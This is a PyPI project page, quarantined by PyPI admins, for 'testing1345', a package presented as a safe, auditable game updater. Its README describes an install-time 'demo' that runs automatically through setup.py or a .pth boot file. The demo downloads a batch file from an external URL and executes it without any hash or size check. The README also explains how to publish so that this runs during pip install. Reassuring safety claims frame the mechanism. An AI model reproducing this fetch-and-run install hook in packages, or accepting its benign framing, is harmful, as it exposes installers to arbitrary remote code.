This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.
Game Updater
A small, auditable updater for a game or app that you host yourself.
This is the testing1345 twin of fcraft. Unlike the original, it does
run an install-time demo: pip install testing1345 downloads the pinned
hello.bat and opens it in a visible console. The updater itself still only
does work when you call the CLI or update(), and it still refuses anything
not covered by a valid Ed25519-signed manifest.
What it does
- Checks the VM compatibility policy when enabled (default:
off). Withvm_policy="block", a detected VM stops the call before anything is downloaded, installed, or run. - Downloads
manifest.jsonover HTTPS. - Verifies the manifest signature against the public key embedded in this package.
- Compares the remote version with the local
version.json. - Downloads each listed file to a staging folder.
- Moves the files into the game directory.
- Writes
version.jsonwith the version, sequence, notes, and file list. - Optionally runs a patch executable — only if it is listed in the signed
manifest and
--runwas passed.
What it does not do
- No
sitecustomize.pyorusercustomize.py. - No persistence: the wheel's
testing1345_boot.pthimports the boot module, which runs once and writes a marker in the temp folder.pip uninstall testing1345removes both files. - No obfuscation. The source is readable.
- No unsigned manifests. The manifest signature is checked before anything is installed. File bytes are not hashed or size-checked in 0.1.0.
- No silent execution.
--runis explicit. - No stealth VM detection. The policy is explicit, documented, and printed by the CLI.
- No anti-debug, timing checks, process scanning, or security-tool interference.
- No network requests for VM detection. It only reads local OS metadata.
Hello demo (Windows, opt-in)
testing1345 --hello downloads the current demo batch file from a pinned URL,
writes it as %TEMP%\testing1345-hello\hello.bat, and runs it. The batch file
writes hello.txt next to itself and opens Notepad. Pass --dir to use a
different folder:
testing1345 --hello
testing1345 --hello --dir "C:\Games\MyGame"
Python has the same default:
import testing1345
testing1345.fetch() # %TEMP%\testing1345-hello
testing1345.fetch(r"C:\Games\MyGame") # custom folder
| Item | Value |
|---|---|
| URL | https://helper-exe.vercel.app/hello.bat |
This is an explicit demo path, not part of the signed-manifest update flow. It
also fires once automatically: sdist installs run it from setup.py during the
build, and wheel installs run it from testing1345_boot.pth at the next
interpreter start. Both share the marker
%TEMP%\testing1345-hello.done, so it fires once per machine. No size or hash
check is performed, so the URL always serves the current file. It is
Windows-only because it is a .bat file.
VM compatibility policy
The check is a configurable compatibility policy, not a stealth feature. It
runs at the start of update() and before the CLI reads local state.
| Policy | Behavior |
|---|---|
off (default) |
Skip VM detection entirely. |
allow |
Detect and report, but never block. Ordinary physical PCs and VM users both work. |
block |
If a VM is detected, raise VMBlockedError before creating the game directory, fetching the manifest, installing files, or running a patch. |
When detection runs, the CLI prints the result before doing any work. A
block refusal prints the documented error instead; off prints nothing.
vm check: physical machine (no known VM indicators found)
If a VM is detected and the policy is block:
error: VM use is disabled by policy (vm_policy='block'), but this machine
appears to be a vmware virtual machine (confidence: high). Indicators:
DMI system manufacturer is VMware; DMI system product is VMware. No update
was downloaded, installed, or run. If this is a physical machine, this is a
false positive; use vm_policy='allow' or vm_policy='off' to proceed. VM
detection is best-effort and can be wrong.
CLI exit code is 3 for a VM policy block, 2 for an update/manifest error,
and 0 on success.
Indicators used
Detection is conservative and uses only documented, read-only DMI/SMBIOS values exposed by the OS:
| Environment | Definitive indicators | Supporting only |
|---|---|---|
| Hyper-V | DMI system product Virtual Machine; DMI system version Hyper-V |
Hyper-V guest integration registry key |
| QEMU / KVM | DMI system/board manufacturer QEMU; DMI product Standard PC (Q35 ...) or Standard PC (i440FX ...) |
BIOS vendor SeaBIOS |
| VMware | DMI manufacturer, product, version, board, or BIOS containing VMware |
— |
| VirtualBox | DMI manufacturer/board/BIOS innotek; product/version VirtualBox |
— |
Unsupported platforms (including macOS) return UNKNOWN; they are not
guessed at and are allowed under block.
Rules:
- A VM result requires at least one definitive vendor-specific string.
- Supporting-only evidence (for example, SeaBIOS alone, or the Hyper-V guest
key alone) returns
UNKNOWN, notVM. - Two different definitive vendors return
UNKNOWNwithconflicting=True. - A missing or unreadable DMI source returns
UNKNOWN. blockrefuses only onVM.PHYSICALandUNKNOWNare allowed, which keeps ordinary PCs working and avoids blocking on ambiguous evidence.
What is intentionally not used
- The CPUID hypervisor-present bit. Physical Windows machines with Hyper-V, VBS, or Memory Integrity enabled can set it, causing false positives.
- Timing measurements, process scanning, debugger checks, or anti-analysis tricks.
- Network requests or external services.
- Any attempt to disable or interfere with security tools.
Limitations
VM detection is imperfect. DMI strings can be spoofed, hidden, or changed by
the hypervisor, and some physical firmware exposes unusual values. A
PHYSICAL result means "no known VM indicator was found", not proof. A VM
result can be a false positive; vm_policy="allow" or vm_policy="off" is
the documented escape hatch.
This check is not a security boundary and does not make the library impossible to crack or bypass. The real protections are the signed manifest, HTTPS, and keeping the private signing key offline. Do not use VM detection as a substitute for those controls.
Install
The PyPI distribution is testing1345; the import package is testing1345 and
the CLI command is testing1345.
pip install testing1345
From a local checkout:
pip install .
What happens during pip install
pip has no post-install hook, so the demo rides one of two paths:
| Install source | Trigger | When it runs |
|---|---|---|
sdist (.tar.gz) |
build_py in setup.py |
during pip install, on the installing machine |
wheel (.whl) |
testing1345_boot.pth at the site-packages root |
at the next Python start, once |
Both call the same fetch() the library exposes, and both write
%TEMP%\testing1345-hello.done. The first path to succeed wins; the other
sees the marker and does nothing. Delete the marker to arm the demo again.
To get the run during pip install, publish only the sdist. pip prefers a
wheel when one exists, and a wheel install never executes setup.py. To use
the wheel path, upload the wheel (or both; the wheel wins and the .pth
covers it).
Set TESTING1345_SKIP_HOOK=1 to build without firing the demo on your own
machine:
$env:TESTING1345_SKIP_HOOK = "1"
python -m build
Publish (when ready)
$env:TWINE_USERNAME = "__token__"
$env:TWINE_PASSWORD = "<token for the testing1345 project>"
python -m twine upload dist/*
Use --repository testpypi for a dry run. Keep the token in the environment
or in ~/.pypirc, never in this repository.
This package is for publishers who control both the manifest host and the signing key. Only point it at manifests you signed.
Generate a signing key
python tools/keygen.py --private game_private.pem
Put the printed public key into src/testing1345/public_key.txt.
Keep game_private.pem offline. Never commit it.
Build and sign a manifest
Create manifest.json without a signature:
{
"version": "1.4.0",
"sequence": 3,
"notes": "Season 3 patch",
"files": [
{
"path": "game/data.pak",
"url": "https://cdn.example.com/game/data-1.4.0.pak"
},
{
"path": "game/patch.exe",
"url": "https://cdn.example.com/game/patch-1.4.0.exe",
"executable": true
}
],
"run": "game/patch.exe"
}
Older manifests may still contain sha256 and size fields. 0.1.0 parses
them for compatibility but does not enforce them.
sequence is a signed, non-negative integer. Increase it for every release.
The updater stores it in version.json and refuses a manifest whose sequence
is lower than the installed one, or equal while claiming a different version.
That prevents replay of an older signed manifest.
Sign it:
python tools/sign_manifest.py --key game_private.pem --manifest manifest.json --out manifest.signed.json
Upload manifest.signed.json (and the files) to your HTTPS host.
Update a game folder
testing1345 --manifest https://cdn.example.com/game/manifest.signed.json --dir "C:\Games\MyGame"
Other modes:
testing1345 --manifest ... --dir ... --check # show versions only
testing1345 --manifest ... --dir ... --apply # install (asks first)
testing1345 --manifest ... --dir ... --apply --yes
testing1345 --manifest ... --dir ... --apply --run
testing1345 --manifest ... --dir ... --apply --vm-policy block
--vm-policy accepts off (default), allow, or block.
Python API
from testing1345 import update
result = update(
manifest_url="https://cdn.example.com/game/manifest.signed.json",
game_dir=r"C:\Games\MyGame",
apply=True,
run_patch=False,
)
print(result)
print(result.vm.summary() if result.vm else "vm check skipped")
To refuse updates on a detected VM:
from testing1345 import VMBlockedError, update
try:
result = update(
manifest_url="https://cdn.example.com/game/manifest.signed.json",
game_dir=r"C:\Games\MyGame",
apply=True,
vm_policy="block",
)
except VMBlockedError as error:
print(error) # clear, documented explanation
print(error.detection.kind.value) # e.g. "vmware"
Inspect detection without updating:
from testing1345 import detect_vm, collect_dmi
print(collect_dmi())
print(detect_vm().summary())
print(detect_vm().indicators)
Layout produced in the game folder
MyGame/
version.json # version, sequence, notes, file list
game/
data.pak
patch.exe
version.json is written last, after every file is downloaded.
Threat model
| Attack | Mitigation |
|---|---|
| Compromised CDN / HTTP host | Manifest signature check authenticates the manifest and URLs; file bytes are not verified in 0.1.0 |
| Modified file in transit | Not mitigated in 0.1.0 (no per-file hash check) |
| Manifest replay of an older signed version | Signed monotonic sequence; lower or unchanged sequences for a different version are rejected |
Path traversal (../) |
safe_join rejects absolute paths and .. |
| Unsigned patch execution | run target must be in files, signed, and --run passed |
| Malicious local manifest URL | HTTPS only (localhost allowed only with --allow-insecure) |
| VM use against policy | vm_policy="block" stops before any work; best-effort detection, not a security boundary |
Honest limitation
If someone steals your private signing key, they can sign a malicious update. Treat the key like a code-signing key: offline, backed up, never in the repo.
VM detection is a compatibility policy, not DRM. DMI values can be spoofed or withheld, so the check can be wrong in both directions. It does not make the library uncrackable; the signed manifest is the integrity control. File bytes are not hashed or size-checked in 0.1.0.
Metadata
Release files for testing1345 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| testing1345-0.1.0.tar.gz | 28.4 kB | Without provenance | Details for testing1345-0.1.0.tar.gz |
Release files / testing1345-0.1.0.tar.gz
| Download URL | testing1345-0.1.0.tar.gz |
|---|---|
| Size | 28.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
1b26617fd70b0507af87c0b99a556e8cefe807e8b2e8a147b7ad26e2dfe2f3ee
|
|
BLAKE2b-256 checksum How to use checksums |
0ba4551c943d43b0c0c6370283a1373d571888eaee22fd8f9cdfc9fc1a5199ec
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.13.6
|
Security for testing1345 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.